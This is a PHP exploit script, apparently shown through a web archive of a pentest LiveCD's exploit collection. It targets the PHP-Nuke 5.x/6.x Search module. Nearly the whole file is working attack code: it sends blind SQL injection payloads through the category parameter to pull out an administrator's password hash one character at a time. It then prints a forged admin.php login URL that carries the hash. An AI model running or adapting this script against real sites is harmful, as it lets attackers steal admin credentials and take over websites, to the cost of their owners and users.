home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / phpnuke / phpNukeSearchModExploit.php < prev    next >
PHP Script  |  2005-02-12  |  3KB  |  117 lines

  1. #!/usr/bin/php -q
  2. PHPnuke 6.x and 5.x fetch author hash by pokleyzz <pokleyzz at scan-associates.net>
  3.  
  4. <?php
  5. /*
  6. # PHPnuke 6.x and 5.x fetch author hash by pokleyzz <pokleyzz at scan-associates.net>
  7. # 27th December 2003 : 4:54 a.m
  8. #
  9. # bug found by pokleyzz (11th December 2003 ) for HITB 2003 security conference
  10. # (Shame on You!!) 
  11. #
  12. # Requirement:
  13. #    PHP 4.x with curl extension;
  14. #
  15. # Greet: 
  16. #    tynon, sk ,wanvadder,  sir_flyguy, wxyz , tenukboncit, kerengga_kurus , 
  17. #    s0cket370 , b0iler and ...
  18. #
  19. # Happy new year 2004 ...
  20. #
  21. # ---------------------------------------------------------------------------- 
  22. # "TEH TARIK-WARE LICENSE" (Revision 1):
  23. # wrote this file. As long as you retain this notice you 
  24. # can do whatever you want with this stuff. If we meet some day, and you think 
  25. # this stuff is worth it, you can buy me a "teh tarik" in return. 
  26. # ---------------------------------------------------------------------------- 
  27. # (Base on Poul-Henning Kamp Beerware)
  28. #
  29. # Tribute to Search - "kejoraku bersatu.mp3"
  30. #
  31. */
  32. if (!(function_exists('curl_init'))) {
  33.     echo "cURL extension required\n";
  34.     exit;
  35. }
  36.  
  37. ini_set("max_execution_time","999999");
  38.  
  39. $matches = "No matches found to your query";
  40.  
  41. //$url = "http://127.0.0.1/src/phpnuke441a/html";
  42. $charmap = array (48,49,50,51,52,53,54,55,56,57,
  43.           97,98,99,100,101,102,
  44.           103,104,105,
  45.           106,107,108,109,110,111,112,113,
  46.           114,115,116,117,118,119,120,121,122
  47.           );
  48.           
  49. if($argv[1] && $argv[2]){
  50.     
  51.     $url = $argv[1];
  52.     $author = $argv[2];
  53.     if ($argv[3])
  54.         $proxy = $argv[3]; 
  55. }
  56. else {
  57.     echo "Usage: ".$argv[0]." <URL> <aid> [proxy]\n\n";
  58.     echo "\tURL\t URL to phpnuke site (ex: http://127.0.0.1/html)\n";
  59.     echo "\taid\t author id to get  (ex: god)\n";
  60.     echo "\tproxy\t optional proxy url  (ex: http://10.10.10.10:8080)\n"; 
  61.     exit;
  62. }
  63. $search = "/modules.php?name=Search";
  64. echo "Take your time for Teh Tarik... please wait ...\n\n";
  65. echo "Result:\n";
  66. echo "\t$author:";
  67. $admin = $author.":";
  68. $i =0;
  69. $tmp = "char(";
  70. while ($i < strlen($author)){
  71.     $tmp .= ord(substr($author,$i,1));
  72.     $i++;
  73.     if ($i < strlen($author)){
  74.         $tmp .= ",";
  75.     } 
  76. }
  77. $tmp .= ")";
  78. $author=$tmp;
  79.  
  80. for($i= 1;$i< 33;$i++){ 
  81.     foreach ($charmap as $char){
  82.         echo chr($char);
  83.         $postvar = "query=%25&category=99999+or+a.aid=$author+and+ascii(substring(a.pwd,$i,1))=$char";
  84.         $ch = curl_init();
  85.         if ($proxy){
  86.             curl_setopt($ch, CURLOPT_PROXY,$proxy); 
  87.         }
  88.         curl_setopt($ch, CURLOPT_URL,$url.$search);
  89.         curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  90.         curl_setopt($ch, CURLOPT_POST, 1);
  91.         curl_setopt($ch, CURLOPT_POSTFIELDS, $postvar);
  92.         $res=curl_exec ($ch);
  93.         curl_close ($ch);
  94.         if (!(ereg($matches,$res))){
  95.             //echo chr($char);
  96.             $admin .= chr($char);
  97.             break 1;
  98.         }
  99.         else {
  100.             echo chr(8);
  101.         }
  102.         
  103.         if ($char ==103){
  104.             echo "\n\n\tNot Vulnerable or Something wrong occur ...\n";
  105.             exit;
  106.         }
  107.         
  108.     }
  109. }
  110. $admin .= "::";
  111. echo "\n\nAdmin URL:\n";
  112. echo "\t$url/admin.php?admin=".ereg_replace("=","%3d",base64_encode($admin));
  113. echo "\n";
  114. echo "\n\nEnjoy your self and Happy New Year 2004....";
  115. ?>
  116.  
  117.